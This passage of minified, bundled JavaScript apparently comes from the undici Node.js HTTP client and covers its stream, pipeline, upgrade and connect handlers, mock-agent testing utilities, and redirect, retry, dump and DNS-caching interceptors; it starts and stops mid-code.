J!=="function")throw new R0A("invalid onInfo callback");super("UNDICI_STREAM")}catch($){if(Vy.isStream(H))Vy.destroy(H.on("error",Vy.nop),$);throw $}if(this.responseHeaders=O||null,this.opaque=w||null,this.factory=K,this.callback=q,this.res=null,this.abort=null,this.context=null,this.trailers=null,this.body=H,this.onInfo=J||null,this.throwOnError=X||!1,Vy.isStream(H))H.on("error",($)=>{this.onError($)});Ip3(this,Y)}onConnect(A,K){if(this.reason){A(this.reason);return}Ep3(this.callback),this.abort=A,this.context=K}onHeaders(A,K,q,Y){let{factory:z,opaque:w,context:H,callback:J,responseHeaders:O}=this,X=O==="raw"?Vy.parseRawHeaders(K):Vy.parseHeaders(K);if(A<200){if(this.onInfo)this.onInfo({statusCode:A,headers:X});return}this.factory=null;let $;if(this.throwOnError&&A>=400){let Z=(O==="raw"?Vy.parseHeaders(K):X)["content-type"];$=new Cp3,this.callback=null,this.runInAsyncScope(Rp3,null,{callback:J,body:$,contentType:Z,statusCode:A,statusMessage:Y,headers:X})}else{if(z===null)return;if($=this.runInAsyncScope(z,null,{statusCode:A,headers:X,opaque:w,context:H}),!$||typeof $.write!=="function"||typeof $.end!=="function"||typeof $.on!=="function")throw new Lp3("expected Writable");kp3($,{readable:!1},(G)=>{let{callback:Z,res:W,opaque:D,trailers:j,abort:M}=this;if(this.res=null,G||!W.readable)Vy.destroy(W,G);if(this.callback=null,this.runInAsyncScope(Z,null,G||null,{opaque:D,trailers:j}),G)M()})}return $.on("drain",q),this.res=$,($.writableNeedDrain!==void 0?$.writableNeedDrain:$._writableState?.needDrain)!==!0}onData(A){let{res:K}=this;return K?K.write(A):!0}onComplete(A){let{res:K}=this;if(h94(this),!K)return;this.trailers=Vy.parseHeaders(A),K.end()}onError(A){let{res:K,callback:q,opaque:Y,body:z}=this;if(h94(this),this.factory=null,K)this.res=null,Vy.destroy(K,A);else if(q)this.callback=null,queueMicrotask(()=>{this.runInAsyncScope(q,null,A,{opaque:Y})});if(z)this.body=null,Vy.destroy(z,A)}}function x94(A,K,q){if(q===void 0)return new Promise((Y,z)=>{x94.call(this,A,K,(w,H)=>{return w?z(w):Y(H)})});try{this.dispatch(A,new b94(A,K,q))}catch(Y){if(typeof q!=="function")throw Y;let z=A?.opaque;queueMicrotask(()=>q(Y,{opaque:z}))}}u94.exports=x94});var d94=v((u6w,p94)=>{var{Readable:g94,Duplex:Sp3,PassThrough:hp3}=CA("node:stream"),{InvalidArgumentError:uRA,InvalidReturnValueError:bp3,RequestAbortedError:C86}=_2(),vk=j9(),{AsyncResource:xp3}=CA("node:async_hooks"),{addSignal:up3,removeSignal:Bp3}=xRA(),m94=CA("node:assert"),y0A=Symbol("resume");class F94 extends g94{constructor(){super({autoDestroy:!0});this[y0A]=null}_read(){let{[y0A]:A}=this;if(A)this[y0A]=null,A()}_destroy(A,K){this._read(),K(A)}}class Q94 extends g94{constructor(A){super({autoDestroy:!0});this[y0A]=A}_read(){this[y0A]()}_destroy(A,K){if(!A&&!this._readableState.endEmitted)A=new C86;K(A)}}class U94 extends xp3{constructor(A,K){if(!A||typeof A!=="object")throw new uRA("invalid opts");if(typeof K!=="function")throw new uRA("invalid handler");let{signal:q,method:Y,opaque:z,onInfo:w,responseHeaders:H}=A;if(q&&typeof q.on!=="function"&&typeof q.addEventListener!=="function")throw new uRA("signal must be an EventEmitter or EventTarget");if(Y==="CONNECT")throw new uRA("invalid method");if(w&&typeof w!=="function")throw new uRA("invalid onInfo callback");super("UNDICI_PIPELINE");this.opaque=z||null,this.responseHeaders=H||null,this.handler=K,this.abort=null,this.context=null,this.onInfo=w||null,this.req=new F94().on("error",vk.nop),this.ret=new Sp3({readableObjectMode:A.objectMode,autoDestroy:!0,read:()=>{let{body:J}=this;if(J?.resume)J.resume()},write:(J,O,X)=>{let{req:$}=this;if($.push(J,O)||$._readableState.destroyed)X();else $[y0A]=X},destroy:(J,O)=>{let{body:X,req:$,res:_,ret:G,abort:Z}=this;if(!J&&!G._readableState.endEmitted)J=new C86;if(Z&&J)Z();vk.destroy(X,J),vk.destroy($,J),vk.destroy(_,J),Bp3(this),O(J)}}).on("prefinish",()=>{let{req:J}=this;J.push(null)}),this.res=null,up3(this,q)}onConnect(A,K){let{ret:q,res:Y}=this;if(this.reason){A(this.reason);return}m94(!Y,"pipeline cannot be retried"),m94(!q.destroyed),this.abort=A,this.context=K}onHeaders(A,K,q){let{opaque:Y,handler:z,context:w}=this;if(A<200){if(this.onInfo){let J=this.responseHeaders==="raw"?vk.parseRawHeaders(K):vk.parseHeaders(K);this.onInfo({statusCode:A,headers:J})}return}this.res=new Q94(q);let H;try{this.handler=null;let J=this.responseHeaders==="raw"?vk.parseRawHeaders(K):vk.parseHeaders(K);H=this.runInAsyncScope(z,null,{statusCode:A,headers:J,opaque:Y,body:this.res,context:w})}catch(J){throw this.res.on("error",vk.nop),J}if(!H||typeof H.on!=="function")throw new bp3("expected Readable");H.on("data",(J)=>{let{ret:O,body:X}=this;if(!O.push(J)&&X.pause)X.pause()}).on("error",(J)=>{let{ret:O}=this;vk.destroy(O,J)}).on("end",()=>{let{ret:J}=this;J.push(null)}).on("close",()=>{let{ret:J}=this;if(!J._readableState.ended)vk.destroy(J,new C86)}),this.body=H}onData(A){let{res:K}=this;return K.push(A)}onComplete(A){let{res:K}=this;K.push(null)}onError(A){let{ret:K}=this;this.handler=null,vk.destroy(K,A)}}function mp3(A,K){try{let q=new U94(A,K);return this.dispatch({...A,body:q.req},q),q.ret}catch(q){return new hp3().destroy(q)}}p94.exports=mp3});var a94=v((B6w,o94)=>{var{InvalidArgumentError:L86,SocketError:gp3}=_2(),{AsyncResource:Fp3}=CA("node:async_hooks"),c94=j9(),{addSignal:Qp3,removeSignal:l94}=xRA(),i94=CA("node:assert");class n94 extends Fp3{constructor(A,K){if(!A||typeof A!=="object")throw new L86("invalid opts");if(typeof K!=="function")throw new L86("invalid callback");let{signal:q,opaque:Y,responseHeaders:z}=A;if(q&&typeof q.on!=="function"&&typeof q.addEventListener!=="function")throw new L86("signal must be an EventEmitter or EventTarget");super("UNDICI_UPGRADE");this.responseHeaders=z||null,this.opaque=Y||null,this.callback=K,this.abort=null,this.context=null,Qp3(this,q)}onConnect(A,K){if(this.reason){A(this.reason);return}i94(this.callback),this.abort=A,this.context=null}onHeaders(){throw new gp3("bad upgrade",null)}onUpgrade(A,K,q){i94(A===101);let{callback:Y,opaque:z,context:w}=this;l94(this),this.callback=null;let H=this.responseHeaders==="raw"?c94.parseRawHeaders(K):c94.parseHeaders(K);this.runInAsyncScope(Y,null,null,{headers:H,socket:q,opaque:z,context:w})}onError(A){let{callback:K,opaque:q}=this;if(l94(this),K)this.callback=null,queueMicrotask(()=>{this.runInAsyncScope(K,null,A,{opaque:q})})}}function r94(A,K){if(K===void 0)return new Promise((q,Y)=>{r94.call(this,A,(z,w)=>{return z?Y(z):q(w)})});try{let q=new n94(A,K);this.dispatch({...A,method:A.method||"GET",upgrade:A.protocol||"Websocket"},q)}catch(q){if(typeof K!=="function")throw q;let Y=A?.opaque;queueMicrotask(()=>K(q,{opaque:Y}))}}o94.exports=r94});var qY4=v((m6w,KY4)=>{var Up3=CA("node:assert"),{AsyncResource:pp3}=CA("node:async_hooks"),{InvalidArgumentError:R86,SocketError:dp3}=_2(),s94=j9(),{addSignal:cp3,removeSignal:t94}=xRA();class e94 extends pp3{constructor(A,K){if(!A||typeof A!=="object")throw new R86("invalid opts");if(typeof K!=="function")throw new R86("invalid callback");let{signal:q,opaque:Y,responseHeaders:z}=A;if(q&&typeof q.on!=="function"&&typeof q.addEventListener!=="function")throw new R86("signal must be an EventEmitter or EventTarget");super("UNDICI_CONNECT");this.opaque=Y||null,this.responseHeaders=z||null,this.callback=K,this.abort=null,cp3(this,q)}onConnect(A,K){if(this.reason){A(this.reason);return}Up3(this.callback),this.abort=A,this.context=K}onHeaders(){throw new dp3("bad connect",null)}onUpgrade(A,K,q){let{callback:Y,opaque:z,context:w}=this;t94(this),this.callback=null;let H=K;if(H!=null)H=this.responseHeaders==="raw"?s94.parseRawHeaders(K):s94.parseHeaders(K);this.runInAsyncScope(Y,null,null,{statusCode:A,headers:H,socket:q,opaque:z,context:w})}onError(A){let{callback:K,opaque:q}=this;if(t94(this),K)this.callback=null,queueMicrotask(()=>{this.runInAsyncScope(K,null,A,{opaque:q})})}}function AY4(A,K){if(K===void 0)return new Promise((q,Y)=>{AY4.call(this,A,(z,w)=>{return z?Y(z):q(w)})});try{let q=new e94(A,K);this.dispatch({...A,method:"CONNECT"},q)}catch(q){if(typeof K!=="function")throw q;let Y=A?.opaque;queueMicrotask(()=>K(q,{opaque:Y}))}}KY4.exports=AY4});var YY4=v((lp3,I0A)=>{lp3.request=R94();lp3.stream=B94();lp3.pipeline=d94();lp3.upgrade=a94();lp3.connect=qY4()});var I86=v((g6w,zY4)=>{var{UndiciError:sp3}=_2();class y86 extends sp3{constructor(A){super(A);Error.captureStackTrace(this,y86),this.name="MockNotMatchedError",this.message=A||"The request does not match any registered mock dispatches",this.code="UND_MOCK_ERR_MOCK_NOT_MATCHED"}}zY4.exports={MockNotMatchedError:y86}});var S0A=v((F6w,wY4)=>{wY4.exports={kAgent:Symbol("agent"),kOptions:Symbol("options"),kFactory:Symbol("factory"),kDispatches:Symbol("dispatches"),kDispatchKey:Symbol("dispatch key"),kDefaultHeaders:Symbol("default headers"),kDefaultTrailers:Symbol("default trailers"),kContentLength:Symbol("content length"),kMockAgent:Symbol("mock agent"),kMockAgentSet:Symbol("mock agent set"),kMockAgentGet:Symbol("mock agent get"),kMockDispatch:Symbol("mock dispatch"),kClose:Symbol("close"),kOriginalClose:Symbol("original agent close"),kOrigin:Symbol("origin"),kIsMockActive:Symbol("is mock active"),kNetConnect:Symbol("net connect"),kGetNetConnect:Symbol("get net connect"),kConnected:Symbol("connected")}});var BRA=v((Q6w,jY4)=>{var{MockNotMatchedError:Q8A}=I86(),{kDispatches:vK1,kMockAgent:tp3,kOriginalDispatch:ep3,kOrigin:Ad3,kGetNetConnect:Kd3}=S0A(),{buildURL:qd3}=j9(),{STATUS_CODES:Yd3}=CA("node:http"),{types:{isPromise:zd3}}=CA("node:util");function MQ(A,K){if(typeof A==="string")return A===K;if(A instanceof RegExp)return A.test(K);if(typeof A==="function")return A(K)===!0;return!1}function JY4(A){return Object.fromEntries(Object.entries(A).map(([K,q])=>{return[K.toLocaleLowerCase(),q]}))}function OY4(A,K){if(Array.isArray(A)){for(let q=0;q<A.length;q+=2)if(A[q].toLocaleLowerCase()===K.toLocaleLowerCase())return A[q+1];return}else if(typeof A.get==="function")return A.get(K);else return JY4(A)[K.toLocaleLowerCase()]}function b86(A){let K=A.slice(),q=[];for(let Y=0;Y<K.length;Y+=2)q.push([K[Y],K[Y+1]]);return Object.fromEntries(q)}function XY4(A,K){if(typeof A.headers==="function"){if(Array.isArray(K))K=b86(K);return A.headers(K?JY4(K):{})}if(typeof A.headers>"u")return!0;if(typeof K!=="object"||typeof A.headers!=="object")return!1;for(let[q,Y]of Object.entries(A.headers)){let z=OY4(K,q);if(!MQ(Y,z))return!1}return!0}function HY4(A){if(typeof A!=="string")return A;let K=A.split("?");if(K.length!==2)return A;let q=new URLSearchParams(K.pop());return q.sort(),[...K,q.toString()].join("?")}function wd3(A,{path:K,method:q,body:Y,headers:z}){let w=MQ(A.path,K),H=MQ(A.method,q),J=typeof A.body<"u"?MQ(A.body,Y):!0,O=XY4(A,z);return w&&H&&J&&O}function $Y4(A){if(Buffer.isBuffer(A))return A;else if(A instanceof Uint8Array)return A;else if(A instanceof ArrayBuffer)return A;else if(typeof A==="object")return JSON.stringify(A);else return A.toString()}function _Y4(A,K){let q=K.query?qd3(K.path,K.query):K.path,Y=typeof q==="string"?HY4(q):q,z=A.filter(({consumed:w})=>!w).filter(({path:w})=>MQ(HY4(w),Y));if(z.length===0)throw new Q8A(`Mock dispatch not matched for path '${Y}'`);if(z=z.filter(({method:w})=>MQ(w,K.method)),z.length===0)throw new Q8A(`Mock dispatch not matched for method '${K.method}' on path '${Y}'`);if(z=z.filter(({body:w})=>typeof w<"u"?MQ(w,K.body):!0),z.length===0)throw new Q8A(`Mock dispatch not matched for body '${K.body}' on path '${Y}'`);if(z=z.filter((w)=>XY4(w,K.headers)),z.length===0){let w=typeof K.headers==="object"?JSON.stringify(K.headers):K.headers;throw new Q8A(`Mock dispatch not matched for headers '${w}' on path '${Y}'`)}return z[0]}function Hd3(A,K,q){let Y={timesInvoked:0,times:1,persist:!1,consumed:!1},z=typeof q==="function"?{callback:q}:{...q},w={...Y,...K,pending:!0,data:{error:null,...z}};return A.push(w),w}function S86(A,K){let q=A.findIndex((Y)=>{if(!Y.consumed)return!1;return wd3(Y,K)});if(q!==-1)A.splice(q,1)}function GY4(A){let{path:K,method:q,body:Y,headers:z,query:w}=A;return{path:K,method:q,body:Y,headers:z,query:w}}function h86(A){let K=Object.keys(A),q=[];for(let Y=0;Y<K.length;++Y){let z=K[Y],w=A[z],H=Buffer.from(`${z}`);if(Array.isArray(w))for(let J=0;J<w.length;++J)q.push(H,Buffer.from(`${w[J]}`));else q.push(H,Buffer.from(`${w}`))}return q}function ZY4(A){return Yd3[A]||"unknown"}async function Jd3(A){let K=[];for await(let q of A)K.push(q);return Buffer.concat(K).toString("utf8")}function WY4(A,K){let q=GY4(A),Y=_Y4(this[vK1],q);if(Y.timesInvoked++,Y.data.callback)Y.data={...Y.data,...Y.data.callback(A)};let{data:{statusCode:z,data:w,headers:H,trailers:J,error:O},delay:X,persist:$}=Y,{timesInvoked:_,times:G}=Y;if(Y.consumed=!$&&_>=G,Y.pending=_<G,O!==null)return S86(this[vK1],q),K.onError(O),!0;if(typeof X==="number"&&X>0)setTimeout(()=>{Z(this[vK1])},X);else Z(this[vK1]);function Z(D,j=w){let M=Array.isArray(A.headers)?b86(A.headers):A.headers,P=typeof j==="function"?j({...A,headers:M}):j;if(zd3(P)){P.then((C)=>Z(D,C));return}let f=$Y4(P),N=h86(H),T=h86(J);K.onConnect?.((C)=>K.onError(C),null),K.onHeaders?.(z,N,W,ZY4(z)),K.onData?.(Buffer.from(f)),K.onComplete?.(T),S86(D,q)}function W(){}return!0}function Od3(){let A=this[tp3],K=this[Ad3],q=this[ep3];return function(z,w){if(A.isMockActive)try{WY4.call(this,z,w)}catch(H){if(H instanceof Q8A){let J=A[Kd3]();if(J===!1)throw new Q8A(`${H.message}: subsequent request to origin ${K} was not allowed (net.connect disabled)`);if(DY4(J,K))q.call(this,z,w);else throw new Q8A(`${H.message}: subsequent request to origin ${K} was not allowed (net.connect is not enabled for this origin)`)}else throw H}else q.call(this,z,w)}}function DY4(A,K){let q=new URL(K);if(A===!0)return!0;else if(Array.isArray(A)&&A.some((Y)=>MQ(Y,q.host)))return!0;return!1}function Xd3(A){if(A){let{agent:K,...q}=A;return q}}jY4.exports={getResponseData:$Y4,getMockDispatch:_Y4,addMockDispatch:Hd3,deleteMockDispatch:S86,buildKey:GY4,generateKeyValues:h86,matchValue:MQ,getResponse:Jd3,getStatusText:ZY4,mockDispatch:WY4,buildMockDispatch:Od3,checkNetConnect:DY4,buildMockOptions:Xd3,getHeaderByName:OY4,buildHeadersFromArray:b86}});var F86=v((Zd3,g86)=>{var{getResponseData:$d3,buildKey:_d3,addMockDispatch:x86}=BRA(),{kDispatches:EK1,kDispatchKey:kK1,kDefaultHeaders:u86,kDefaultTrailers:B86,kContentLength:m86,kMockDispatch:CK1}=S0A(),{InvalidArgumentError:Vx}=_2(),{buildURL:Gd3}=j9();class mRA{constructor(A){this[CK1]=A}delay(A){if(typeof A!=="number"||!Number.isInteger(A)||A<=0)throw new Vx("waitInMs must be a valid integer > 0");return this[CK1].delay=A,this}persist(){return this[CK1].persist=!0,this}times(A){if(typeof A!=="number"||!Number.isInteger(A)||A<=0)throw new Vx("repeatTimes must be a valid integer > 0");return this[CK1].times=A,this}}class MY4{constructor(A,K){if(typeof A!=="object")throw new Vx("opts must be an object");if(typeof A.path>"u")throw new Vx("opts.path must be defined");if(typeof A.method>"u")A.method="GET";if(typeof A.path==="string")if(A.query)A.path=Gd3(A.path,A.query);else{let q=new URL(A.path,"data://");A.path=q.pathname+q.search}if(typeof A.method==="string")A.method=A.method.toUpperCase();this[kK1]=_d3(A),this[EK1]=K,this[u86]={},this[B86]={},this[m86]=!1}createMockScopeDispatchData({statusCode:A,data:K,responseOptions:q}){let Y=$d3(K),z=this[m86]?{"content-length":Y.length}:{},w={...this[u86],...z,...q.headers},H={...this[B86],...q.trailers};return{statusCode:A,data:K,headers:w,trailers:H}}validateReplyParameters(A){if(typeof A.statusCode>"u")throw new Vx("statusCode must be defined");if(typeof A.responseOptions!=="object"||A.responseOptions===null)throw new Vx("responseOptions must be an object")}reply(A){if(typeof A==="function"){let z=(H)=>{let J=A(H);if(typeof J!=="object"||J===null)throw new Vx("reply options callback must return an object");let O={data:"",responseOptions:{},...J};return this.validateReplyParameters(O),{...this.createMockScopeDispatchData(O)}},w=x86(this[EK1],this[kK1],z);return new mRA(w)}let K={statusCode:A,data:arguments[1]===void 0?"":arguments[1],responseOptions:arguments[2]===void 0?{}:arguments[2]};this.validateReplyParameters(K);let q=this.createMockScopeDispatchData(K),Y=x86(this[EK1],this[kK1],q);return new mRA(Y)}replyWithError(A){if(typeof A>"u")throw new Vx("error must be defined");let K=x86(this[EK1],this[kK1],{error:A});return new mRA(K)}defaultReplyHeaders(A){if(typeof A>"u")throw new Vx("headers must be defined");return this[u86]=A,this}defaultReplyTrailers(A){if(typeof A>"u")throw new Vx("trailers must be defined");return this[B86]=A,this}replyContentLength(){return this[m86]=!0,this}}Zd3.MockInterceptor=MY4;Zd3.MockScope=mRA});var U86=v((U6w,kY4)=>{var{promisify:jd3}=CA("node:util"),Md3=ERA(),{buildMockDispatch:Pd3}=BRA(),{kDispatches:PY4,kMockAgent:VY4,kClose:fY4,kOriginalClose:NY4,kOrigin:TY4,kOriginalDispatch:Vd3,kConnected:Q86}=S0A(),{MockInterceptor:fd3}=F86(),vY4=MJ(),{InvalidArgumentError:Nd3}=_2();class EY4 extends Md3{constructor(A,K){super(A,K);if(!K||!K.agent||typeof K.agent.dispatch!=="function")throw new Nd3("Argument opts.agent must implement Agent");this[VY4]=K.agent,this[TY4]=A,this[PY4]=[],this[Q86]=1,this[Vd3]=this.dispatch,this[NY4]=this.close.bind(this),this.dispatch=Pd3.call(this),this.close=this[fY4]}get[vY4.kConnected](){return this[Q86]}intercept(A){return new fd3(A,this[PY4])}async[fY4](){await jd3(this[NY4])(),this[Q86]=0,this[VY4][vY4.kClients].delete(this[TY4])}}kY4.exports=EY4});var d86=v((p6w,bY4)=>{var{promisify:Td3}=CA("node:util"),vd3=v0A(),{buildMockDispatch:Ed3}=BRA(),{kDispatches:CY4,kMockAgent:LY4,kClose:RY4,kOriginalClose:yY4,kOrigin:IY4,kOriginalDispatch:kd3,kConnected:p86}=S0A(),{MockInterceptor:Cd3}=F86(),SY4=MJ(),{InvalidArgumentError:Ld3}=_2();class hY4 extends vd3{constructor(A,K){super(A,K);if(!K||!K.agent||typeof K.agent.dispatch!=="function")throw new Ld3("Argument opts.agent must implement Agent");this[LY4]=K.agent,this[IY4]=A,this[CY4]=[],this[p86]=1,this[kd3]=this.dispatch,this[yY4]=this.close.bind(this),this.dispatch=Ed3.call(this),this.close=this[RY4]}get[SY4.kConnected](){return this[p86]}intercept(A){return new Cd3(A,this[CY4])}async[RY4](){await Td3(this[yY4])(),this[p86]=0,this[LY4][SY4.kClients].delete(this[IY4])}}bY4.exports=hY4});var uY4=v((d6w,xY4)=>{var Rd3={pronoun:"it",is:"is",was:"was",this:"this"},yd3={pronoun:"they",is:"are",was:"were",this:"these"};xY4.exports=class{constructor(K,q){this.singular=K,this.plural=q}pluralize(K){let q=K===1,Y=q?Rd3:yd3,z=q?this.singular:this.plural;return{...Y,count:K,noun:z}}}});var mY4=v((c6w,BY4)=>{var{Transform:Id3}=CA("node:stream"),{Console:Sd3}=CA("node:console"),hd3=process.versions.icu?"✅":"Y ",bd3=process.versions.icu?"❌":"N ";BY4.exports=class{constructor({disableColors:K}={}){this.transform=new Id3({transform(q,Y,z){z(null,q)}}),this.logger=new Sd3({stdout:this.transform,inspectOptions:{colors:!K&&!0}})}format(K){let q=K.map(({method:Y,path:z,data:{statusCode:w},persist:H,times:J,timesInvoked:O,origin:X})=>({Method:Y,Origin:X,Path:z,"Status code":w,Persistent:H?hd3:bd3,Invocations:O,Remaining:H?1/0:J-O}));return this.logger.table(q),this.transform.read().toString()}}});var pY4=v((l6w,UY4)=>{var{kClients:U8A}=MJ(),xd3=E0A(),{kAgent:c86,kMockAgentSet:LK1,kMockAgentGet:gY4,kDispatches:l86,kIsMockActive:RK1,kNetConnect:p8A,kGetNetConnect:ud3,kOptions:yK1,kFactory:IK1}=S0A(),Bd3=U86(),md3=d86(),{matchValue:gd3,buildMockOptions:Fd3}=BRA(),{InvalidArgumentError:FY4,UndiciError:Qd3}=_2(),Ud3=YRA(),pd3=uY4(),dd3=mY4();class QY4 extends Ud3{constructor(A){super(A);if(this[p8A]=!0,this[RK1]=!0,A?.agent&&typeof A.agent.dispatch!=="function")throw new FY4("Argument opts.agent must implement Agent");let K=A?.agent?A.agent:new xd3(A);this[c86]=K,this[U8A]=K[U8A],this[yK1]=Fd3(A)}get(A){let K=this[gY4](A);if(!K)K=this[IK1](A),this[LK1](A,K);return K}dispatch(A,K){return this.get(A.origin),this[c86].dispatch(A,K)}async close(){await this[c86].close(),this[U8A].clear()}deactivate(){this[RK1]=!1}activate(){this[RK1]=!0}enableNetConnect(A){if(typeof A==="string"||typeof A==="function"||A instanceof RegExp)if(Array.isArray(this[p8A]))this[p8A].push(A);else this[p8A]=[A];else if(typeof A>"u")this[p8A]=!0;else throw new FY4("Unsupported matcher. Must be one of String|Function|RegExp.")}disableNetConnect(){this[p8A]=!1}get isMockActive(){return this[RK1]}[LK1](A,K){this[U8A].set(A,K)}[IK1](A){let K=Object.assign({agent:this},this[yK1]);return this[yK1]&&this[yK1].connections===1?new Bd3(A,K):new md3(A,K)}[gY4](A){let K=this[U8A].get(A);if(K)return K;if(typeof A!=="string"){let q=this[IK1]("http://localhost:9999");return this[LK1](A,q),q}for(let[q,Y]of Array.from(this[U8A]))if(Y&&typeof q!=="string"&&gd3(q,A)){let z=this[IK1](A);return this[LK1](A,z),z[l86]=Y[l86],z}}[ud3](){return this[p8A]}pendingInterceptors(){let A=this[U8A];return Array.from(A.entries()).flatMap(([K,q])=>q[l86].map((Y)=>({...Y,origin:K}))).filter(({pending:K})=>K)}assertNoPendingInterceptors({pendingInterceptorsFormatter:A=new dd3}={}){let K=this.pendingInterceptors();if(K.length===0)return;let q=new pd3("interceptor","interceptors").pluralize(K.length);throw new Qd3(` ${q.count} ${q.noun} ${q.is} pending: ${A.format(K)} `.trim())}}UY4.exports=QY4});var SK1=v((i6w,iY4)=>{var dY4=Symbol.for("undici.globalDispatcher.1"),{InvalidArgumentError:cd3}=_2(),ld3=E0A();if(lY4()===void 0)cY4(new ld3);function cY4(A){if(!A||typeof A.dispatch!=="function")throw new cd3("Argument agent must implement Agent");Object.defineProperty(globalThis,dY4,{value:A,writable:!0,enumerable:!1,configurable:!1})}function lY4(){return globalThis[dY4]}iY4.exports={setGlobalDispatcher:cY4,getGlobalDispatcher:lY4}});var hK1=v((n6w,nY4)=>{nY4.exports=class{#A;constructor(K){if(typeof K!=="object"||K===null)throw TypeError("handler must be an object");this.#A=K}onConnect(...K){return this.#A.onConnect?.(...K)}onError(...K){return this.#A.onError?.(...K)}onUpgrade(...K){return this.#A.onUpgrade?.(...K)}onResponseStarted(...K){return this.#A.onResponseStarted?.(...K)}onHeaders(...K){return this.#A.onHeaders?.(...K)}onData(...K){return this.#A.onData?.(...K)}onComplete(...K){return this.#A.onComplete?.(...K)}onBodySent(...K){return this.#A.onBodySent?.(...K)}}});var oY4=v((r6w,rY4)=>{var id3=GK1();rY4.exports=(A)=>{let K=A?.maxRedirections;return(q)=>{return function(z,w){let{maxRedirections:H=K,...J}=z;if(!H)return q(z,w);let O=new id3(q,H,z,w);return q(J,O)}}}});var sY4=v((o6w,aY4)=>{var nd3=TK1();aY4.exports=(A)=>{return(K)=>{return function(Y,z){return K(Y,new nd3({...Y,retryOptions:{...A,...Y.retryOptions}},{handler:z,dispatch:K}))}}}});var A24=v((a6w,eY4)=>{var rd3=j9(),{InvalidArgumentError:od3,RequestAbortedError:ad3}=_2(),sd3=hK1();class tY4 extends sd3{#A=1048576;#K=null;#q=!1;#z=!1;#Y=0;#J=null;#w=null;constructor({maxSize:A},K){super(K);if(A!=null&&(!Number.isFinite(A)||A<1))throw new od3("maxSize must be a number greater than 0");this.#A=A??this.#A,this.#w=K}onConnect(A){this.#K=A,this.#w.onConnect(this.#X.bind(this))}#X(A){this.#z=!0,this.#J=A}onHeaders(A,K,q,Y){let w=rd3.parseHeaders(K)["content-length"];if(w!=null&&w>this.#A)throw new ad3(`Response size (${w}) larger than maxSize (${this.#A})`);if(this.#z)return!0;return this.#w.onHeaders(A,K,q,Y)}onError(A){if(this.#q)return;A=this.#J??A,this.#w.onError(A)}onData(A){if(this.#Y=this.#Y+A.length,this.#Y>=this.#A)if(this.#q=!0,this.#z)this.#w.onError(this.#J);else this.#w.onComplete([]);return!0}onComplete(A){if(this.#q)return;if(this.#z){this.#w.onError(this.reason);return}this.#w.onComplete(A)}}function td3({maxSize:A}={maxSize:1048576}){return(K)=>{return function(Y,z){let{dumpMaxSize:w=A}=Y,H=new tY4({maxSize:w},z);return K(Y,H)}}}eY4.exports=td3});var w24=v((s6w,z24)=>{var{isIP:ed3}=CA("node:net"),{lookup:Ac3}=CA("node:dns"),Kc3=hK1(),{InvalidArgumentError:h0A,InformationalError:qc3}=_2(),K24=Math.pow(2,31)-1;class q24{#A=0;#K=0;#q=new Map;dualStack=!0;affinity=null;lookup=null;pick=null;constructor(A){this.#A=A.maxTTL,this.#K=A.maxItems,this.dualStack=A.dualStack,this.affinity=A.affinity,this.lookup=A.lookup??this.#z,this.pick=A.pick??this.#Y}get full(){return this.#q.size===this.#K}runLookup(A,K,q){let Y=this.#q.get(A.hostname);if(Y==null&&this.full){q(null,A.origin);return}let z={affinity:this.affinity,dualStack:this.dualStack,lookup:this.lookup,pick:this.pick,...K.dns,maxTTL:this.#A,maxItems:this.#K};if(Y==null)this.lookup(A,z,(w,H)=>{if(w||H==null||H.length===0){q(w??new qc3("No DNS entries found"));return}this.setRecords(A,H);let J=this.#q.get(A.hostname),O=this.pick(A,J,z.affinity),X;if(typeof O.port==="number")X=`:${O.port}`;else if(A.port!=="")X=`:${A.port}`;else X="";q(null,`${A.protocol}//${O.family===6?`[${O.address}]`:O.address}${X}`)});else{let w=this.pick(A,Y,z.affinity);if(w==null){this.#q.delete(A.hostname),this.runLookup(A,K,q);return}let H;if(typeof w.port==="number")H=`:${w.port}`;else if(A.port!=="")H=`:${A.port}`;else H="";q(null,`${A.protocol}//${w.family===6?`[${w.address}]`:w.address}${H}`)}}#z(A,K,q){Ac3(A.hostname,{all:!0,family:this.dualStack===!1?this.affinity:0,order:"ipv4first"},(Y,z)=>{if(Y)return q(Y);let w=new Map;for(let H of z)w.set(`${H.address}:${H.family}`,H);q(null,w.values())})}#Y(A,K,q){let Y=null,{records:z,offset:w}=K,H;if(this.dualStack){if(q==null)if(w==null||w===K24)K.offset=0,q=4;else K.offset++,q=(K.offset&1)===1?6:4;if(z[q]!=null&&z[q].ips.length>0)H=z[q];else H=z[q===4?6:4]}else H=z[q];if(H==null||H.ips.length===0)return Y;if(H.offset==null||H.offset===K24)H.offset=0;else H.offset++;let J=H.offset%H.ips.length;if(Y=H.ips[J]??null,Y==null)return Y;if(Date.now()-Y.timestamp>Y.ttl)return H.ips.splice(J,1),this.pick(A,K,q);return Y}setRecords(A,K){let q=Date.now(),Y={records:{4:null,6:null}};for(let z of K){if(z.timestamp=q,typeof z.ttl==="number")z.ttl=Math.min(z.ttl,this.#A);else z.ttl=this.#A;let w=Y.records[z.family]??{ips:[]};w.ips.push(z),Y.records[z.family]=w}this.#q.set(A.hostname,Y)}getHandler(A,K){return new Y24(this,A,K)}}class Y24 extends Kc3{#A=null;#K=null;#q=null;#z=null;#Y=null;constructor(A,{origin:K,handler:q,dispatch:Y},z){super(q);this.#Y=K,this.#z=q,this.#K={...z},this.#A=A,this.#q=Y}onError(A){switch(A.code){case"ETIMEDOUT":case"ECONNREFUSED":{if(this.#A.dualStack){this.#A.runLookup(this.#Y,this.#K,(K,q)=>{if(K)return this.#z.onError(K);let Y={...this.#K,origin:q};this.#q(Y,this)});return}this.#z.onError(A);return}case"ENOTFOUND":this.#A.deleteRecord(this.#Y);default:this.#z.onError(A);break}}}z24.exports=(A)=>{if(A?.maxTTL!=null&&(typeof A?.maxTTL!=="number"||A?.maxTTL<0))throw new h0A("Invalid maxTTL. Must be a positive number");if(A?.maxItems!=null&&(typeof A?.maxItems!=="number"||A?.maxItems<1))throw new h0A("Invalid maxItems. Must be a positive number and greater than zero");if(A?.affinity!=null&&A?.affinity!==4&&A?.affinity!==6)throw new h0A("Invalid affinity. Must be either 4 or 6");if(A?.dualStack!=null&&typeof A?.dualStack!=="boolean")throw new h0A("Invalid dualStack. Must be a boolean");if(A?.lookup!=null&&typeof A?.lookup!=="function")throw new h0A("Invalid lookup. Must be a function");if(A?.pick!=null&&typeof A?.pick!=="function")throw new h0A("Invalid pick. Must be a function");let K=A?.dualStack??!0,q;if(K)q=A?.affinity??null;else q=A?.affinity??4;let 